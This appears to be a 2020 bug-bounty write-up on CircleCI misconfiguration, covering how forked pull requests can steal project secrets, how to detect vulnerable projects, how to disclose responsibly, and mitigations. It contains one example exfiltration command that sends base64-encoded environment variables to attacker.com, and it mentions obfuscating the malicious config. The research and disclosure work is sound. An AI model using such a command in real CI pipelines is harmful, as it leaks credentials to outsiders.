Shaking secrets out of CircleCI builds - insecure configuration and the threat of malicious pull requests

July 15, 2020

The research in this write up was inspired by the excellent CI Knew There Would Be Bugs Here research by EdOverflow. As outlined in that research, the concept of finding secrets such as API keys and other credentials in CI/CD logs is a promising one for bug bounty hunters, as it is a data source which is updated often, usually in connection to how often a target releases code which is sometimes many times a day, and it is very easy to make a mistake as a developer who is just trying to get a piece of code working - in modern app development workflows, the CI/CD pipeline is often an extension to a developer's local coding environment, and what was once a harmless local execution of env or phpinfo() or --debug could now be executed in a sensitive environment which contains credentials for the purposes of automation such as deployments.

In this writeup, I'm going to extend a little bit on the 'secrets in CI logs' research and go beyond looking for secrets that are already out there available in the public build logs, to detailing a way to force secrets to reveal themselves. To do this, I will be specifically focusing on the CircleCI platform, covering a potentially dangerous configuration state that can lead to secret disclosure with a little help from Github's open nature, and how to detect this as a researcher with nothing more than public read access to the Github repo and its CircleCI project's build logs.

I will also be referencing various scripts I wrote to automate certain steps - these are available at https://github.com/ndavison/circleci-logs.

The concept

When looking into how I can automate downloading CircleCI logs for finding secrets and perform other queries on their API, I stumbled across the following statement in the documentation:

Running an unrestricted build in a parent repository can be dangerous. Projects often contain sensitive information, and this information is freely available to anyone who can push code that triggers a build.

This piqued my interest, as it mentions the word "dangerous", which should always be a red flag for any hacker reading through documentation.

What is being described in this area of the documentation is a capability of CircleCI, to allow your project builds to run when someone sends in a pull request to your project from a fork. This is controlled by the "Build forked pull requests" setting in the project's advanced configuration. When enabled, this means your configured CircleCI pipelines will run in your CircleCI project when a pull request comes in to your project on Github from a fork.

Of course, sometimes your builds rely on having access to secrets, such as for querying code coverage or static code security testing platforms. Without these, the builds may always fail, and hence enabling "Build forked pull requests" but not giving these PR builds access to such secrets may result in failures. This is where the above linked "Pass secrets to builds from forked pull requests" configuration comes in. When this is enabled, you're telling CircleCI that you're okay with PRs from forks to have access to your environment variables and other secrets configured in your CircleCI project.

The concern here should be fairly evident. If you allow both PRs from forks to run builds in your project and if you are providing your secrets to these runs, then the fork PR could include malicious changes to the CircleCI configuration (i.e. the .circleci/config.yml file in the repo) that steals these secrets. My testing suggests you do need both the settings enabled to be vulnerable - just having one or the other won't result in secrets being leak-able.

To perform the attack, a malicious actor could exfiltrate secrets, such as by adding the following to an existing CircleCI step:

- run: curl https://attacker.com/?env=$(env | base64 | tr -d '\n')

This will base64 encode the environment variables the job has access to, and exfiltrate them to the web access logs on https://attacker.com. Of course, there are practically an unlimited amount of ways you could nab the secrets other than this example which may better mask intentions and prevent the pull request from appearing obviously malicious, such as piping curl output to be executed directly, or bash obfuscation.

As a reference, here is what it looks like in the current CircleCI admin UI when both settings are enabled (note the message about the security issue you could be introducing if you enable the setting):

Finding the CircleCI projects to check

As this is all about CircleCI, the first step is to check and see if the target is using CircleCI. This involves finding any Github organisations the target may own, which you may have a favourite technique to figure out, but I would typically just Google it (but, for a bounty program, they might also list in scope code repos in the program policy). Given how prevalent Github is now days, it is pretty likely you will find something relevant, so once you have the Github org slug (i.e. the value after https://github.com/ when accessing the org's repos), a quick way to test whether the org is using CircleCI is to visit https://circle.com/gh/XXX where XXX is the slug. A blank page or a 404 error would indicate they are not (or they are, but they are all private repos) - if they are using CircleCI on any public repos, then you should see a list of projects and their build logs.

For a more automation friendly approach, I wrote the following script to collect all Github repos that an organisation has, which are configured for CircleCI:

https://github.com/ndavison/circleci-logs/blob/master/circleci-repos.py

Used as so:

python circleci-repos.py -o org_slug

You can also provide Github and CircleCI tokens to this script using -t and -c arguments respectively. Using a Github token is useful to increase your Github API rate limit and is essential for orgs with a large amount of repos, and I would also recommend you use a personal CircleCI token as this may find projects in the target org you otherwise would not have, had you requested without authentication to the CircleCI API. I'm not 100% sure why, but it seems some projects are only accessible to authenticated CircleCI users, even if they're not part of that organisation.

One thing I'd like to point out at this stage is, while CircleCI also supports BitBucket repos, I have not extended my research on this issue beyond Github. One of the reasons this vulnerable configuration is so damaging is because you can't restrict who can submit pull requests to a public non-archived Github repo, so execution of this attack can't be solely mitigated at the Github level for public repos. I'm not familiar with BitBucket, so this might also be the case there as well.

Before progressing on how to detect vulnerable configuration, I'll also mention the script I wrote to actually collect CircleCI logs because, while you've got a list of repos an org has configured for CircleCI, you may as well grab the logs and look for already leaked secrets as well:

https://github.com/ndavison/circleci-logs/blob/master/circleci-logs.py

Detecting when "Build forked pull requests" and "Pass secrets to builds from forked pull requests" are both enabled (or: detecting a potentially vulnerable CircleCI project)

Detecting whether a CircleCI project has both of these settings enabled is relatively straight forward. In fact, you can do it in a few clicks - when you're navigating the list of build jobs in a CircleCI project, look for builds with a name that follows the format pull/XXX, where XXX is the number of the pull request from Github. This indicates a pull request from a fork, and not just an internal pull request from another branch, which won't be named in this manner. Once you find one of these jobs, navigate into the actual result of a build (ideally a successful one) and find the "Preparing Environment Variables" stage. This is a built-in CircleCI stage that will display the names (but not values, obviously) of all environment variables/secrets the run had access to. If you don't see this stage, check in the "Spin Up Environment" stage for the same info - this tends to be the case for older build runs. In either case, inside the content of these stages, you should see the secrets listed under the heading "Using environment variables from project settings and/or contexts".

Once you have a list of the secrets that were available for the build, you have a large portion of the information you need to determine whether the project is configured in a vulnerable state. The list should always include an env var named CIRCLE_JOB, which is an in-built value passed to builds, but if you have anything more than this, then you may have found a vulnerable project.

To help automate this whole process, I have developed the following script:

https://github.com/ndavison/circleci-logs/blob/master/circleci-vulnerable-config.py

When given an org/repo to check, this will collect the 10 most recent Github PRs for the repo that have come from a fork, and where the author of the PR isn't publicly known as a "owner" or "member" of the repo's organisation (as such users may have privileged access to secrets in CircleCI a normal user won't have - more on that later). It will then try and find all the CircleCI build ids associated with these PRs, which it gets using the Github commit statuses API (not the check runs API, which I've found not a lot of CirlceCI projects are using yet), and it will then check the in-built stages previously mentioned for the presence of secrets, stopping when it first encounters any. If any are found in the most recent PR fork build, it will report that the project appears to be vulnerable. If secrets are present in builds but not the most recent one, it will report it as possibly vulnerable - this is because there is a chance the project was recently re-configured so it is no longer vulnerable, although it could just be the most recent build is not one designed to use secrets, so this would indicate further manual investigation is needed.

If you have found a project which appears to be vulnerable or once was, you can run the script on the project again with a -v to produce more output including the exact CircleCI build number that shows the vulnerability including the secrets/environment variables that were detected. With the build number you can navigate to CircleCI to evaluate it further by accessing https://circleci.com/gh/org/repo/XXXX where XXXX is the build number. From here you can confirm details such as the Github user who submitted it, which can help reinforce whether this was a genuine fork PR from an external user, which is what you want to see to indicate vulnerable configuration. And, of course, checking the specific secrets that would be available is key to estimating impact and severity - if you see a GITHUB_TOKEN or NPM_TOKEN, then you may be onto something, but a COVERALLS_TOKEN may not even be worth reporting to the program, as it is generally considered a low value credential.

At this point, the vulnerability is still only theoretical. You may be wondering how you can actually go about proving the project is vulnerable without any doubts at all. The problem here of course is you don't want to actually perform the attack, as the very nature of this issue is we're dealing with public Github repositories with public pull requests, and any proof of concept will expose the target to the fact they are vulnerable for the whole world to see, actors with malicious intent included. So I can't stress this enough - if you get to this stage on a program, do not follow through on performing the attack just yet. In fact, on more than one occasion, I was given a bonus on my bounty because I didn't perform the attack.

This puts this technique in a bit of a strange bucket, where you may have a fairly rock solid theory but can't really prove it 100% before submitting a report or alerting the bounty program. In my experience, I have had little to no resistance from programs when reporting this vulnerability, and in fact only once out of around 10-15 reports was I told the issue is not possible by a program (to be then told they don't consider the AWS credentials configured in their CircleCI to be impactful enough after I proved the attack was possible). However, with that said, here are some tips on how to report this particular issue which may help it to be taken seriously by the program (whether it is on a CircleCI project, or perhaps any other CI/CD platform with similar potentially vulnerable configuration):

  • Try to find a recent PR that appears to have been sent in by a user who wouldn't have special privileges or permissions on the target repo (my script will attempt to filter out PRs from organisation members, but this isn't 100% reliable). This can be hard to determine, as Github users can hide their memberships, but there are a few things that can help inform this - has the user sent in PRs to this repo or this organisation previously? if so, is it fairly regularly? do their changes look like something an external developer might want to change? does the language used by the project maintainers when responding to the user's PR(s) suggest they are talking to a team mate, or an external contributor? There are a lot of things to consider here, and it's probably more an art than a science, but if you are fairly confident the PR was sent in by a regular user and the CircleCI build jobs that occurred as a result indicate secrets were passed in, then you could reference this PR and CircleCI build in your report. Naturally, any PR you find would need to have caused a CircleCI job to run, and ideally, it should have run as soon as the PR was created, and not as a result of the PR being merged or reviewed (as a malicious PR would probably not be merged, or at least a program probably won't acknowledge this as a valid issue).

  • If you can't find any PRs that satisfy the criteria, send in a harmless test pull request from a fork to the project's repo you're targeting. If your research is accurate, this should trigger a build on their project's CircleCI, and you should see the configured secrets in that build's "Preparing Environment Variables" stage output. If you do, then as far as I am aware after this research, there is a really good chance that the project is configured in a vulnerable state, with the only exceptions I'm aware of covered in the "Mitigations and false positives" section below (so, please read on, to avoid false positives). Once you've run this test, close the PR to avoid taking up the program's time inspecting what your PR was about (although this unfortunately may be unavoidable depending on the org/repo, but if they are vulnerable I'm sure they'll appreciate it in the long run!).

  • Test what I'm detailing in this writeup yourself. Create a public Github repo, get it configured in CircleCI, add some dummy environment variables, and configure your project in the vulnerable state I'm outlining. Then, from another Github user account, fork this repo, and send in a PR attempting to leak the secrets by sending in malicious CircleCI config (note: you can't just run env in a job, as CircleCI will redact that output. But you can run env | base64). Then, as that 2nd Github user (or as an unauthenticated user), navigate to the CircleCI build and see the secrets being leaked. Record a video of all this and send it in with your reports - this is a quick way for the program to understand the vulnerability and see the impact for themselves.

  • Once you're familiar with the process to perform this attack, offer to do a proof of concept for the program. If they create a private repository and invite you as a contributor, and configure it to use CircleCI with a dummy secret and the same 'build forked PRs' and 'pass secrets' configuration as their real project, you can fully demonstrate the attack with the confidentiality of a Github private repository. This is a bit involved but the offer may add a more genuine touch to your report - I never actually had to do this despite offering it in every report.

And just a few tips on the 'test pull request' point above:

  • Before sending in the test PR, inspect existing PRs for signs of a bot being used with the build jobs. If you find a bot is being used, track down the source code for it (there's a good chance the organisation has open sourced it) and see if maybe it is countering this vulnerability or doing something with the build process that means the risk is far lower than it otherwise would be (see "Mitigations and false positives" below for a specific example of such a bot). Bonus: if there is a bot being used and it is open source, inspect its code for vulnerabilities or weakness that might allow you to bypass its protections.

  • Do the test PR using an anonymous Github account not linked to your normal Github identity. This is because, now that I've published this research, it may be that a bad actor will monitor my Github activity to see which repositories I send canary PRs in to for the purposes of testing and confirming this vulnerability, in which case they could swoop in and steal the credentials for real before the program can act. So if you also start testing for this and it becomes known you are doing so (e.g. you end up reporting to a program on this issue and it is publicly disclosed), you may need to consider this as well. In this case, to avoid this problem, any public report linking you to a particular Github account would require you to use a new account for future testing.

I know it may seem tempting to just perform the attack to get the secrets and provide those in your bug report, but it would be unequivocally reckless to do this, and I wouldn't be surprised if a program refused to reward a report that did so, as you would be effectively revealing the secrets or at least a technique to get them publicly, before they had a chance to action your report. If you come up with a way to perform the attack and obtain the secrets without running the risk they or the vulnerability becomes public, then please get in touch and let me know!

So how do you know the secrets are valid and high impact if you don't run the attack and actually steal them?

The short answer is, you don't know. Not really. The secrets may be revoked already, and the program just forgot to remove them from CircleCI. There may be signs a credential is being used in the build logs of a project and that may indicate they are at least valid, but even so, the credential being stored in configuration may be well scoped to only allow the least amount of privileges it needs, such as a Github token which only allows very limited scopes - this may still result in a valid report, but perhaps not a high or critical one.

Again, this puts this issue in a bit of a strange bucket for bug bounties - the rather rare purely theoretical bug that programs are still probably interested to know about and, from my experience, will reward for but, being theoretical, you run the risk the report is not very impacting or not valid. For what it's worth, the vast majority of such reports I've submitted were valid and high impacting and the few that weren't were at least flagged as "informative", and in fact in one case, a program explained why my finding wasn't impacting but, in investigating my report, happened to find a similar issue, which they paid for. So, based on my experience, the odds are in your favour.

Mitigations and false positives

Besides the obvious action of disabling one of the 'build forked PRs' and 'pass secrets' settings to prevent this vulnerability, you can in fact have both settings enabled and not be vulnerable to what I have detailed here. This can be achieved using CircleCI's Contexts feature:

https://circleci.com/docs/2.0/contexts/

In short, Contexts lets you define access control groups around who can access your secrets. You can map a Github team to a context and add secrets to that context, and only jobs which run as a result of a PR or commit by a member of that team will have access to the secrets in CircleCI. So for a PR from a fork by a random Github user, even if the project is configured to build them and pass secrets to the build, it would not get access to secrets defined in a context if that random Github user doesn't satisfy the authorisation requirements.

As touched upon previously when I mentioned the possibility of detecting a false positive, this means a project could appear vulnerable, but not actually be vulnerable, if it is configured to use Contexts. One way to quickly check for this is to simply search for the string context: in the project's .circleci/config.yml file - if you don't find any reference to a context in the project's configuration, then Contexts probably isn't being used (although there is an exception to this with Github 'bots' which I cover shortly). However, even if you do find that Contexts is being used, don't necessarily assume the project isn't vulnerable - it could be that Contexts is not being used for all jobs or not all secrets are being stored in a context. In one report, I guessed right in this regard, as while Contexts were being used in some jobs, other CircleCI jobs that appeared to require access to secrets were not covered by a context, and the program recognised they were vulnerable.

Referencing the 'test pull request' concept from earlier, if your PR or a PR you're confident was created by a non-privileged user is being given access to secrets in the CircleCI build output, then this would be a strong indication that Contexts is not protecting them - just make sure the ensuing build was actually triggered by you/the PR user and not a bot/somebody else manually. As mentioned earlier, my script tries to only single out PR builds from non-privileged users and it will also check to see if the Github PR user is the same as the CircleCI build user, so if it does this accurately, whatever secrets it reports as being passed to the build would be configured outside the protection of Contexts and possible to steal (but, as also mentioned, this privilege check is not 100% reliable).

It's worth mentioning that sometimes you might come across what appears to be a vulnerable project, and it may not even appear to use Contexts specifically in its .circleci/config.yml, but it may still be protected due to other processes around PRs, such as a build bot which handles the interactions with CircleCI. For example, Mattermost have a project called mattermod which you'll notice is a bot used in PR's for many of their repos:

https://github.com/mattermost/mattermost-mattermod/blob/master/server/circleci.go

What this allows for is Contexts being used and configured in the CircleCI project, but not necessarily referenced in the .circleci/config.yml config - the bot authenticates with credentials that grants it access to the secrets in the CircleCI Context, so build runs executed by the bot are given access to secrets, but not necessarily the build runs executed by the standard Github to CircleCI integration that the user who submitted the PR initiated. These bot builds may be manually triggered, giving humans the chance to first inspect a PR before it runs to make sure it isn't malicious, so a successful attack is far less likely. With mattermod in particular, it also supports the ability to define specific files which are prohibited from being modified in a PR which, if applied to .circleci/config.yml, would mean the attack is prevented on bot runs since you wouldn't be able to inject the malicious config. This a a comprehensive mitigation against the vulnerability being described in this write up but, in my experience, this sort of sophisticated bot setup is quite rare. As mentioned, my script will try to detect whether the same user who submitted the PR on Github is also attributed with triggering the build on CircleCI, which should detect cases where a bot like mattermod or a privileged user manually triggered the build, and the vulnerability would likely be unexploitable.

Wrapping up

The research covered in this writeup is a classic example of being inspired by the work of others, and also reading the documentation to dig a little deeper into a particular platform/technology - two things I find to be key to successful bug bounty ventures. While this research is very specific to CircleCI and as such could easily become redundant if CircleCI make any changes, the idea of learning about a platform's potential security misconfiguration pitfalls and researching how an attacker may be able to exploit this is a universally useful approach and one a bounty program may be very grateful to learn about even if it isn't explicitly in scope, and something I'll definitely continue granting focus to going forward.

While CircleCI itself is not insecure by default, the combination of the configuration I outlined here certainly can leave your projects vulnerable, and if I were to deal out any criticism to CircleCI here, it wouldn't actually be that it is possible to configure your projects in a vulnerable state, as the features covered above are not necessarily a bad idea for all use cases, and in general, being able to apply vulnerable configuration is possible for a lot of web platforms (although, for what it's worth, TravisCI doesn't allow forked PRs access to secrets at all). Rather, any warranted criticism is probably more that the advanced settings UI is perhaps too confusing or it is simply too easy to accidentally configure in a vulnerable state. For instance, in the advanced settings UI, all you have to do is simply click "On" for both of the settings covered in this write up and you are now vulnerable - there is no confirmation or "Save" button step, it is as easy as two clicks. These settings are also bunched between other non-security sensitive settings meaning you may not be expecting the potential to make such a critical configuration mistake, and while there is a warning about the potential security issue as shown in the screengrab above, it is hardly what I'd call visually distinct, so may be easily missed.

If you happen to use CircleCI, check your advanced settings to be sure you're not vulnerable, and perhaps look in to using Contexts if you actually need the 'pass secrets to fork PRs' functionality.

Bonus: a mini CTF!

If you'd like to test the vulnerability yourself without any setup required, I've setup a mini capture the flag:

https://github.com/ndavison/circleci-test

https://circleci.com/gh/ndavison/circleci-test

I configured a secret in CircleCI - see if you can get it using a pull request (and, once you submit the "malicious" PR, run the https://github.com/ndavison/circleci-logs/blob/master/circleci-vulnerable-config.py script against my repo and it should report it as vulnerable).